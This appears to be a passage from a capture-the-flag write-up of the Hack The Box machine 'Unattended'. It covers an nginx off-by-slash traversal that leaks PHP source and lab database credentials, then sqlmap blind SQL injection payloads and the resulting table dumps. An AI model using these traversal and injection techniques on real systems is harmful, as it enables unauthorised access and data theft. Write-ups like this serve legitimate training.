Hack The Box - Unattended

Quick Summary

Hey guys today Unattended retired and here’s my write-up about it. Personally I think this box should have been rated as hard not medium, it really had a lot of stuff that were hard to find and exploit. There was an interesting SQL injection vulnerability that could be escalated to local file inclusion then to remote code execution and that’s my favorite part about this box. It’s a Linux box and its ip is 10.10.10.126 , I added it to /etc/hosts as unattended.htb . Let’s jump right in !



Nmap

As always we will start with nmap to scan for open ports and services :

nmap -sV -sT -sC unattended.htb



Only http and https , and surprisingly no ssh . Also the ssl certificate from the https port tells us that the common name is www.nestedflanders.htb so I added that to my hosts file :



Web Enumeration

Checking unattended.htb on both 80 and 443 gives us a blank page :





http://www.nestedflanders.htb responds with a redirection to https://www.nestedflanders.htb which has the default Apache page :



I used wfuzz to enumerate sub directories and it was weird to see both index.php and index.html with different content :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

root@kali:~/Desktop/HTB/boxes/unattended# wfuzz --hc 404 -c -u https://www.nestedflanders.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt



Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.



********************************************************

* Wfuzz 2.3.4 - The Web Fuzzer *

********************************************************



Target: https://www.nestedflanders.htb/FUZZ

Total requests: 4614



==================================================================

ID Response Lines Word Chars Payload

==================================================================



000001: C=200 368 L 933 W 10701 Ch ""

000011: C=403 11 L 32 W 290 Ch ".hta"

000012: C=403 11 L 32 W 295 Ch ".htaccess"

000013: C=403 11 L 32 W 295 Ch ".htpasswd"

001241: C=301 7 L 12 W 185 Ch "dev"

002021: C=200 48 L 124 W 1244 Ch "index.php"

002020: C=200 368 L 933 W 10701 Ch "index.html"

003588: C=200 93 L 282 W 5086 Ch "server-status"



Also there was a sub directory called /dev .

/dev :



/index.html :



/index.php



Nginx off-by-slash

When I checked wappalyzer results I saw that it identified the web server as nginx and that was weird because we saw Apache’s default page. Also when I went to https://www.nestedflanders.htb/dev I got a redirection to https://www.nestedflanders.htb/dev/ (It added a slash / ).

1

2

3

4

5

6

7

8

root@kali:~/Desktop/HTB/boxes/unattended# curl -k https://www.nestedflanders.htb/dev

< html >

< head > < title > 301 Moved Permanently </ title > </ head >

< body bgcolor = "white" >

< center > < h1 > 301 Moved Permanently </ h1 > </ center >

< center > nginx/1.10.3 </ center >

</ body >

</ html >



1

2

root@kali:~/Desktop/HTB/boxes/unattended# curl -k https://www.nestedflanders.htb/dev/

dev site has been moved to his own server



As demonstrated in this document there can be a vulnerability because of this. I gave it a try by adding .. after dev :

1

2

3

4

5

6

7

8

root@kali:~/Desktop/HTB/boxes/unattended# curl -k https://www.nestedflanders.htb/dev../

< html >

< head > < title > 403 Forbidden </ title > </ head >

< body bgcolor = "white" >

< center > < h1 > 403 Forbidden </ h1 > </ center >

< center > nginx/1.10.3 </ center >

</ body >

</ html >



We got 403 maybe because we are out of html directory, I added /html/index.php and I successfully got the source of the index page :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

root@kali:~/Desktop/HTB/boxes/unattended

<html>

<head><title> 301 Moved Permanently</title></head>

<body bgcolor= "white" >

<center><h1> 301 Moved Permanently</h1></center>

<center>nginx/ 1.10 .3 </center>

</body>

</html>

root@kali:~/Desktop/HTB/boxes/unattended



$servername = "localhost" ;

$username = "nestedflanders" ;

$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e" ;

$db = "neddy" ;

$conn = new mysqli($servername, $username, $password, $db);

$debug = False ;



include "6fb17817efb4131ae4ae1acae0f7fd48.php" ;



function getTplFromID ($conn) {

global $debug;

$valid_ids = array ( 25 , 465 , 587 );

if ( (array_key_exists( 'id' , $_GET)) && (intval($_GET[ 'id' ]) == $_GET[ 'id' ]) && (in_array(intval($_GET[ 'id' ]),$valid_ids)) ) {

$sql = "SELECT name FROM idname where id = '" .$_GET[ 'id' ]. "'" ;

} else {

$sql = "SELECT name FROM idname where id = '25'" ;

}

if ($debug) { echo "sqltpl: $sql

" ; }



$result = $conn->query($sql);

if ($result->num_rows > 0 ) {

while ($row = $result->fetch_assoc()) {

$ret = $row[ 'name' ];

}

} else {

$ret = 'main' ;

}

if ($debug) { echo "rettpl: $ret

" ; }

return $ret;

}



function getPathFromTpl ($conn,$tpl) {

global $debug;

$sql = "SELECT path from filepath where name = '" .$tpl. "'" ;

if ($debug) { echo "sqlpath: $sql

" ; }

$result = $conn->query($sql);

if ($result->num_rows > 0 ) {

while ($row = $result->fetch_assoc()) {

$ret = $row[ 'path' ];

}

}

if ($debug) { echo "retpath: $ret

" ; }

return $ret;

}



$tpl = getTplFromID($conn);

$inc = getPathFromTpl($conn,$tpl);





<!DOCTYPE html>

<html lang= "en" >

<head>

<title>Ne(ste)d Flanders</title>

<meta charset= "utf-8" >

<meta name= "viewport" content= "width=device-width, initial-scale=1" >

<link rel= "stylesheet" href= "bootstrap.min.css" >

<script src= "jquery.min.js" ></script>

<script src= "bootstrap.min.js" ></script>

</head>

<body>



<div class="container">

<h1>Ne(ste)d Flanders ' Portfolio</h1>

</div>



<div class="container">

<div center class="row">

<?php



$sql = "SELECT i.id,i.name from idname as i inner join filepath on i.name = filepath.name where disabled = ' 0 ' order by i.id";

if ($debug) { echo "sql: $sql

"; }



$result = $conn->query($sql);

if ($result->num_rows > 0) {

while($row = $result->fetch_assoc()) {

//if ($debug) { echo "rowid: ".$row[' id ']."

"; } // breaks layout

echo '<div class="col-md-2"><a href="index.php?id='.$row['id'].'" target="maifreim">'.$row['name'].'</a></div>';

}

} else {



<div class="col-md-2"><a href="index.php?id=25">main</a></div>

<div class="col-md-2"><a href="index.php?id=465">about</a></div>

<div class="col-md-2"><a href="index.php?id=587">contact</a></div>



}





</div> <!-- row -->

</div> <!-- container -->





<div class="container">

<div class="row">

<!-- <div align= "center" > -->



include ( "$inc" );



<!-- </div> -->



</div> <!-- row -->

</div> <!-- container -->

if ($debug) { echo "include $inc;

" ; }



</body>

</html>





$conn->close();





SQLI

By looking at the php code we can see database credentials :

1

2

3

4

$servername = "localhost" ;

$username = "nestedflanders" ;

$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e" ;

$db = "neddy" ;



Those can be helpful later.

Another thing I noticed was this include :

1

include "6fb17817efb4131ae4ae1acae0f7fd48.php" ;



I downloaded that page but it had nothing interesting :

1

2

3

4

5

6

7

8

9

10

11

12

root@kali:~/Desktop/HTB/boxes/unattended



session_start();

if ( isset ($_SESSION[ 'user_name' ])){

$user_name = $_SESSION[ 'user_name' ];

}



foreach ($_COOKIE as $key => $val) {

$_SESSION[$key] = $val;

}







We can also see this :

1

2

3

4

5

6

$valid_ids = array ( 25 , 465 , 587 );

if ( (array_key_exists( 'id' , $_GET)) && (intval($_GET[ 'id' ]) == $_GET[ 'id' ]) && (in_array(intval($_GET[ 'id' ]),$valid_ids)) ) {

$sql = "SELECT name FROM idname where id = '" .$_GET[ 'id' ]. "'" ;

} else {

$sql = "SELECT name FROM idname where id = '25'" ;

}



It defines an array called valid_ids , then it checks the GET parameter id , if it exists and it’s in the valid_ids array, it will append it to this SQL query : SELECT name FROM idname where id = [ID HERE] .

To understand what’s happening in a better way let’s check the website again.



There are 3 pages, main , about and contact . By visiting them we notice that the id parameter is added and each page has one of the ids we saw in the php code : 25 (main), 465 (about) and 587 (contact).







I tried adding a single quote to https://www.nestedflanders.htb/index.php?id=465 and I got the main page instead of the about page because the query failed :



When I fixed the query it worked :



I started sqlmap to automate it and dump the database :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

root@kali:~/Desktop/HTB/boxes/unattended

__H__

___ ___ ["]_____ ___ ___ {1.3.4#stable}

|_ -| . [.] | .'| . |

|___|_ [']_|_|_|__,| _|

|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user 's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program



[*] starting @ 17:12:07 /2019-08-23/



[17:12:08] [INFO] testing connection to the target URL

[17:12:10] [INFO] checking if the target is protected by some kind of WAF/IPS

[17:12:10] [INFO] testing if the target URL content is stable

[17:12:11] [INFO] target URL content is stable

[17:12:11] [INFO] testing if GET parameter ' id ' is dynamic

[17:12:12] [INFO] GET parameter ' id ' appears to be dynamic

[17:12:15] [WARNING] heuristic (basic) test shows that GET parameter ' id ' might not be injectable

[17:12:16] [INFO] testing for SQL injection on GET parameter ' id '

[17:12:16] [INFO] testing ' AND boolean -based blind - WHERE or HAVING clause '

[17:12:25] [INFO] GET parameter ' id ' appears to be ' AND boolean -based blind - WHERE or HAVING clause ' injectable (with --string="form")

[17:12:34] [INFO] heuristic (extended) test shows that the back-end DBMS could be ' MySQL '

it looks like the back-end DBMS is ' MySQL '. Do you want to skip test payloads specific for other DBMSes? [Y/n] n

for the remaining tests, do you want to include all tests for ' MySQL ' extending provided level (1) and risk (1) values? [Y/n] y

[17:12:41] [INFO] testing ' MySQL >= 5.5 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( BIGINT UNSIGNED ) '

[17:12:42] [INFO] testing ' MySQL >= 5.5 OR error -based - WHERE or HAVING clause ( BIGINT UNSIGNED ) '

[17:12:42] [INFO] testing ' MySQL >= 5.5 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( EXP ) '

[17:12:43] [INFO] testing ' MySQL >= 5.5 OR error -based - WHERE or HAVING clause ( EXP ) '

[17:12:44] [INFO] testing ' MySQL >= 5.7 .8 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (JSON_KEYS) '

[17:12:44] [INFO] testing ' MySQL >= 5.7 .8 OR error -based - WHERE or HAVING clause (JSON_KEYS) '

[17:12:45] [INFO] testing ' MySQL >= 5.0 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( FLOOR ) '

[17:12:45] [INFO] testing ' MySQL >= 5.0 OR error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( FLOOR ) '

[17:12:46] [INFO] testing ' MySQL >= 5.1 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (EXTRACTVALUE) '

[17:12:47] [INFO] testing ' MySQL >= 5.1 OR error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (EXTRACTVALUE) '

[17:12:48] [INFO] testing ' MySQL >= 5.1 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (UPDATEXML) '

[17:12:49] [INFO] testing ' MySQL >= 5.1 OR error -based - WHERE , HAVING , ORDER BY or GROUP BY clause (UPDATEXML) '

[17:12:50] [INFO] testing ' MySQL >= 4.1 AND error -based - WHERE , HAVING , ORDER BY or GROUP BY clause ( FLOOR ) '

[17:12:50] [INFO] testing ' MySQL >= 4.1 OR error -based - WHERE or HAVING clause ( FLOOR ) '

[17:12:51] [INFO] testing ' MySQL OR error -based - WHERE or HAVING clause ( FLOOR ) '

[17:12:53] [INFO] testing ' PostgreSQL AND error -based - WHERE or HAVING clause '

[17:12:53] [INFO] testing ' Microsoft SQL Server /Sybase AND error -based - WHERE or HAVING clause ( IN ) '

[17:12:54] [INFO] testing ' Oracle AND error -based - WHERE or HAVING clause ( XMLType ) '

[17:12:55] [INFO] testing ' MySQL >= 5.1 error -based - PROCEDURE ANALYSE (EXTRACTVALUE) '

[17:12:56] [INFO] testing ' MySQL >= 5.5 error -based - Parameter replace ( BIGINT UNSIGNED ) '

[17:12:56] [INFO] testing ' MySQL >= 5.5 error -based - Parameter replace ( EXP ) '

[17:12:56] [INFO] testing ' MySQL >= 5.7 .8 error -based - Parameter replace (JSON_KEYS) '

[17:12:56] [INFO] testing ' MySQL >= 5.0 error -based - Parameter replace ( FLOOR ) '

[17:12:56] [INFO] testing ' MySQL >= 5.1 error -based - Parameter replace (UPDATEXML) '

[17:12:56] [INFO] testing ' MySQL >= 5.1 error -based - Parameter replace (EXTRACTVALUE) '

[17:12:56] [INFO] testing ' MySQL inline queries '

[17:12:56] [INFO] testing ' PostgreSQL inline queries '

[17:12:57] [INFO] testing ' Microsoft SQL Server /Sybase inline queries '

[17:12:58] [INFO] testing ' MySQL > 5.0 .11 stacked queries ( comment ) '

[17:12:59] [INFO] testing ' MySQL > 5.0 .11 stacked queries '

[17:13:00] [INFO] testing ' MySQL > 5.0 .11 stacked queries ( query SLEEP - comment ) '

[17:13:00] [INFO] testing ' MySQL > 5.0 .11 stacked queries ( query SLEEP ) '

[17:13:01] [INFO] testing ' MySQL < 5.0 .12 stacked queries (heavy query - comment ) '

[17:13:02] [INFO] testing ' MySQL < 5.0 .12 stacked queries (heavy query ) '

[17:13:03] [INFO] testing ' PostgreSQL > 8.1 stacked queries ( comment ) '

[17:13:03] [INFO] testing ' Microsoft SQL Server /Sybase stacked queries ( comment ) '

[17:13:04] [INFO] testing ' Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment ) '

[17:13:04] [INFO] testing ' MySQL >= 5.0 .12 AND time -based blind '

[17:13:17] [INFO] GET parameter ' id ' appears to be ' MySQL >= 5.0 .12 AND time -based blind ' injectable

[17:13:17] [INFO] testing ' Generic UNION query ( NULL ) - 1 to 20 columns '

[17:13:17] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found

[17:13:18] [INFO] ' ORDER BY ' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection tech

nique test

[17:13:22] [INFO] target URL appears to have 1 column in query

[17:13:25] [WARNING] if UNION based SQL injection is not detected, please consider and/or try to force the back-end DBMS (e.g. '

[ 17 : 13 : 38 ] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[ 17 : 13 : 52 ] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'

[ 17 : 14 : 05 ] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'

[ 17 : 14 : 20 ] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'

[ 17 : 14 : 35 ] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'

[ 17 : 14 : 48 ] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'

[ 17 : 15 : 02 ] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'

[ 17 : 15 : 16 ] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'

[ 17 : 15 : 29 ] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'

[ 17 : 15 : 44 ] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'

[ 17 : 15 : 59 ] [INFO] checking if the injection point on GET parameter 'id' is a false positive

GET parameter 'id' is vulnerable. Do you want to keep testing the others ( if any )? [y/N] n

sqlmap identified the following injection point(s) with a total of 296 HTTP (s) requests:



Parameter: id ( GET )

Type : boolean -based blind

Title: AND boolean -based blind - WHERE or HAVING clause

Payload: id = 465 ' AND 6602=6602 AND ' YxJr '=' YxJr



Type : time -based blind

Title: MySQL >= 5.0 .12 AND time -based blind

Payload: id = 465 ' AND SLEEP(5) AND ' APKt '=' APKt



[ 17 : 16 : 20 ] [INFO] the back- end DBMS is MySQL

web application technology: Nginx 1.10 .3

back- end DBMS: MySQL >= 5.0 .12

[ 17 : 16 : 20 ] [INFO] sqlmap will dump entries of all tables from all databases now



There are 2 databases, information_schema and neddy :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

[17:20:49] [INFO] the back- end DBMS is MySQL

web application technology: Nginx 1.10 .3

back- end DBMS: MySQL >= 5.0 .12

[ 17 : 20 : 49 ] [INFO] sqlmap will dump entries of all tables from all databases now

[ 17 : 20 : 49 ] [INFO] fetching database names

[ 17 : 20 : 49 ] [INFO] fetching number of databases

[ 17 : 20 : 49 ] [INFO] resumed: 2

[ 17 : 20 : 49 ] [INFO] retrieving the length of query output

[ 17 : 20 : 49 ] [INFO] retrieved: 18

[ 17 : 21 : 09 ] [INFO] retrieved: information_schema

[ 17 : 21 : 09 ] [INFO] retrieving the length of query output

[ 17 : 21 : 09 ] [INFO] retrieved: 5

[ 17 : 21 : 21 ] [INFO] retrieved: neddy

[ 17 : 21 : 21 ] [INFO] fetching tables for databases : 'information_schema, neddy'



We don’t need information_schema in anything and also dumping neddy with that kind of injection would take a lot of time, let’s take a look at the tables.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

[17:37:48] [INFO] fetching tables for database: 'neddy'

[17:37:48] [INFO] fetching number of tables for database 'neddy'

[17:37:48] [INFO] resumed: 11

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 6

[17:37:48] [INFO] resumed: config

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 9

[17:37:48] [INFO] resumed: customers

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 9

[17:37:48] [INFO] resumed: employees

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 8

[17:37:48] [INFO] resumed: filepath

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 6

[17:37:48] [INFO] resumed: idname

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 7

[17:37:48] [INFO] resumed: offices

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 12

[17:37:48] [INFO] resumed: orderdetails

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 6

[17:37:48] [INFO] resumed: orders

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 8

[17:37:48] [INFO] resumed: payments

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 12

[17:37:48] [INFO] resumed: productlines

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 8

[17:37:48] [INFO] resumed: products

[17:37:48] [INFO] fetching columns for table 'customers' in database 'neddy'

[17:37:48] [INFO] resumed: 13

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 14

[17:37:48] [INFO] resumed: customerNumber

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 12

[17:37:48] [INFO] resumed: customerName

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 15

[17:37:48] [INFO] resumed: contactLastName

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 16

[17:37:48] [INFO] resumed: contactFirstName

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 5

[17:37:48] [INFO] resumed: phone

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 12

[17:37:48] [INFO] resumed: addressLine1

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 12

[17:37:48] [INFO] resumed: addressLine2

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 4

[17:37:48] [INFO] resumed: city

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 5

[17:37:48] [INFO] resumed: state

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 10

[17:37:48] [INFO] resumed: postalCode

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 7

[17:37:48] [INFO] resumed: country

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 22

[17:37:48] [INFO] resumed: salesRepEmployeeNumber

[17:37:48] [INFO] retrieving the length of query output

[17:37:48] [INFO] resumed: 11

[17:37:48] [INFO] resumed: creditLimit



I only dumped filepath and idname because these are the ones I saw in the source of index.php .

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

root@kali:~/Desktop/HTB/boxes/unattended

__H__

___ ___[']_____ ___ ___ {1.3.4#stable}

|_ -| . [)] | .'| . |

|___|_ ["]_|_|_|__,| _|

|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user 's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\



[*] starting @ 17:55:21 /2019-08-23/

[17:55:21] [INFO] resuming back-end DBMS ' mysql '

[17:55:21] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=465' AND 6602 = 6602 AND 'YxJr' = 'YxJr

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: id=465' AND SLEEP ( 5 ) AND 'APKt' = 'APKt

---

[17:55:22] [INFO] the back-end DBMS is MySQL

web application technology: Nginx 1.10.3

back-end DBMS: MySQL >= 5.0.12

[17:55:22] [INFO] fetching columns for table ' filepath ' in database ' neddy '

[17:55:22] [INFO] retrieved: 2

[17:55:27] [INFO] retrieving the length of query output

[17:55:27] [INFO] retrieved: 4

[17:55:36] [INFO] retrieved: name

[17:55:36] [INFO] retrieving the length of query output

[17:55:36] [INFO] retrieved: 4

[17:55:44] [INFO] retrieved: path

[17:55:44] [INFO] fetching entries for table ' filepath ' in database ' neddy '

[17:55:44] [INFO] fetching number of entries for table ' filepath ' in database ' neddy '

[17:55:44] [INFO] retrieved: 3

[17:55:49] [INFO] retrieving the length of query output

[17:55:49] [INFO] retrieved: 36

[17:56:25] [INFO] retrieved: 47c1ba4f7b1edf28ea0e2bb250717093.php

[17:56:25] [INFO] retrieving the length of query output

[17:56:25] [INFO] retrieved: 5

[17:56:35] [INFO] retrieved: about

[17:56:35] [INFO] retrieving the length of query output

[17:56:35] [INFO] retrieved: 36

[17:57:10] [INFO] retrieved: 0f710bba8d16303a415266af8bb52fcb.php

[17:57:10] [INFO] retrieving the length of query output

[17:57:10] [INFO] retrieved: 7

[17:57:21] [INFO] retrieved: contact

[17:57:21] [INFO] retrieving the length of query output

[17:57:21] [INFO] retrieved: 36

[17:57:55] [INFO] retrieved: 787c75233b93aa5e45c3f85d130bfbe7.php

[17:57:55] [INFO] retrieving the length of query output

[17:57:55] [INFO] retrieved: 4

[17:58:05] [INFO] retrieved: main

Database: neddy

Table: filepath

[3 entries]

+---------+--------------------------------------+

| name | path |

+---------+--------------------------------------+

| about | 47c1ba4f7b1edf28ea0e2bb250717093.php |

| contact | 0f710bba8d16303a415266af8bb52fcb.php |

| main | 787c75233b93aa5e45c3f85d130bfbe7.php |

+---------+--------------------------------------+



[17:58:05] [INFO] table ' neddy.filepath ' dumped to CSV file ' /root/.sqlmap/ output /www.nestedflanders.htb/dump/neddy/filepath.csv '

[17:58:05] [INFO] fetched data logged to text files under ' /root/.sqlmap/ output /www.nestedflanders.htb '

[*] ending @ 17:58:05 /2019-08-23/



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

root@kali:~/Desktop/HTB/boxes/unattended

___

__H__

___ ___[)]_____ ___ ___ {1.3.4#stable}

|_ -| . [)] | .'| . |

|___|_ ["]_|_|_|__,| _|

|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user 's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program



[*] starting @ 18:03:42 /2019-08-23/

[18:03:42] [INFO] resuming back-end DBMS ' mysql '

[18:03:42] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=465' AND 6602 = 6602 AND 'YxJr' = 'YxJr

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: id=465' AND SLEEP ( 5 ) AND 'APKt' = 'APKt

---

[18:03:43] [INFO] the back-end DBMS is MySQL

web application technology: Nginx 1.10.3

back-end DBMS: MySQL >= 5.0.12

[18:03:43] [INFO] fetching columns for table ' idname ' in database ' neddy '

[18:03:43] [INFO] resumed: 3

[18:03:43] [INFO] retrieving the length of query output

[18:03:43] [INFO] retrieved: 2

[18:03:52] [INFO] retrieved: id

[18:03:52] [INFO] retrieving the length of query output

[18:03:52] [INFO] retrieved: 4

[18:04:02] [INFO] retrieved: name

[18:04:02] [INFO] retrieving the length of query output

[18:04:02] [INFO] retrieved: 8

[18:04:12] [INFO] retrieved: disabled

[18:04:12] [INFO] fetching entries for table ' idname ' in database ' neddy '

[18:04:12] [INFO] fetching number of entries for table ' idname ' in database ' neddy '

[18:04:12] [INFO] retrieved: 6

[18:04:17] [INFO] retrieving the length of query output

[18:04:17] [INFO] retrieved: 1

[18:04:21] [INFO] retrieved: 1

[18:04:27] [INFO] retrieving the length of query output

[18:04:27] [INFO] retrieved: 1

[18:04:33] [INFO] retrieved: 1

[18:04:39] [INFO] retrieving the length of query output

[18:04:39] [INFO] retrieved: 8

[18:04:51] [INFO] retrieved: main.php

[18:04:51] [INFO] retrieving the length of query output

[18:04:51] [INFO] retrieved: 1

[18:04:55] [INFO] retrieved: 1

[18:05:01] [INFO] retrieving the length of query output

[18:05:01] [INFO] retrieved: 1

[18:05:05] [INFO] retrieved: 2

[18:05:12] [INFO] retrieving the length of query output

[18:05:12] [INFO] retrieved: 9

[18:05:24] [INFO] retrieved: about.php

[18:05:24] [INFO] retrieving the length of query output

[18:05:24] [INFO] retrieved: 1

[18:05:28] [INFO] retrieved: 1

[18:05:34] [INFO] retrieving the length of query output

[18:05:34] [INFO] retrieved: 1

[18:05:38] [INFO] retrieved: 3

[18:05:44] [INFO] retrieving the length of query output

[18:05:44] [INFO] retrieved: 11

[18:06:01] [INFO] retrieved: contact.php

[18:06:01] [INFO] retrieving the length of query output

[18:06:01] [INFO] retrieved: 1

[18:06:05] [INFO] retrieved: 0

[18:06:11] [INFO] retrieving the length of query output

[18:06:11] [INFO] retrieved: 2

[18:06:21] [INFO] retrieved: 25

[18:06:21] [INFO] retrieving the length of query output

[18:06:21] [INFO] retrieved: 4

[18:06:31] [INFO] retrieved: main

[18:06:31] [INFO] retrieving the length of query output

[18:06:31] [INFO] retrieved: 1

[18:06:35] [INFO] retrieved: 0

[18:06:41] [INFO] retrieving the length of query output

[18:06:41] [INFO] retrieved: 3

[18:06:51] [INFO] retrieved: 465

[18:06:51] [INFO] retrieving the length of query output

[18:06:51] [INFO] retrieved: 5

[18:07:01] [INFO] retrieved: about

[18:07:01] [INFO] retrieving the length of query output

[18:07:01] [INFO] retrieved: 1

[18:07:05] [INFO] retrieved: 0

[18:07:12] [INFO] retrieving the length of query output

[18:07:12] [INFO] retrieved: 3

[18:07:22] [INFO] retrieved: 587

[18:07:22] [INFO] retrieving the length of query output

[18:07:22] [INFO] retrieved: 7

[18:07:32] [INFO] retrieved: contact

Database: neddy

Table: idname

[6 entries]

+-----+-------------+----------+

| id | name | disabled |

+-----+-------------+----------+

| 1 | main.php | 1 |

| 2 | about.php | 1 |

| 3 | contact.php | 1 |

| 25 | main | 0 |

| 465 | about | 0 |

| 587 | contact | 0 |

+-----+-------------+----------+



[18:07:32] [INFO] table ' neddy.idname ' dumped to CSV file ' /root/.sqlmap/ output /www.nestedflanders.htb/dump/neddy/idname.csv '

[18:07:32] [INFO] fetched data logged to text files under ' /root/.sqlmap/ output /www.nestedflanders.htb '

[*] ending @ 18:07:32 /2019-08-23/



SQLI to LFI

Now we have the actual file names, about for example ( /47c1ba4f7b1edf28ea0e2bb250717093.php ) :



It’s just the text and nothing else. We can also verify that there is nothing hidden by checking the php source of the three pages :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

root@kali:~/Desktop/HTB/boxes/unattended# curl -k https://www.nestedflanders.htb/dev../html/47c1ba4f7b1edf28ea0e2bb250717093.php

< body class = "container" >

< div >

Hello echo ( isset ($_GET[ 'name' ])) ? $_GET[ 'name' ] : "visitor" ; ,

our Company is world wide leading expert about Nesting stuff. </ div >

< div >

We can nest almost everything after or before anything based on your needs.

Feel free to contact us with usual email addresses, our contact form is currently offline because of a recent attack.

</ div >

</ body >

root@kali:~/Desktop/HTB/boxes/unattended# curl -k https://www.nestedflanders.htb/dev../html/0f710bba8d16303a415266af8bb52fcb.php

< body class = "container" >

Hello echo ( isset ($_GET[ 'name' ])) ? $_GET[ 'name' ] : "visitor" ; ,



thanks for getting in touch with us!
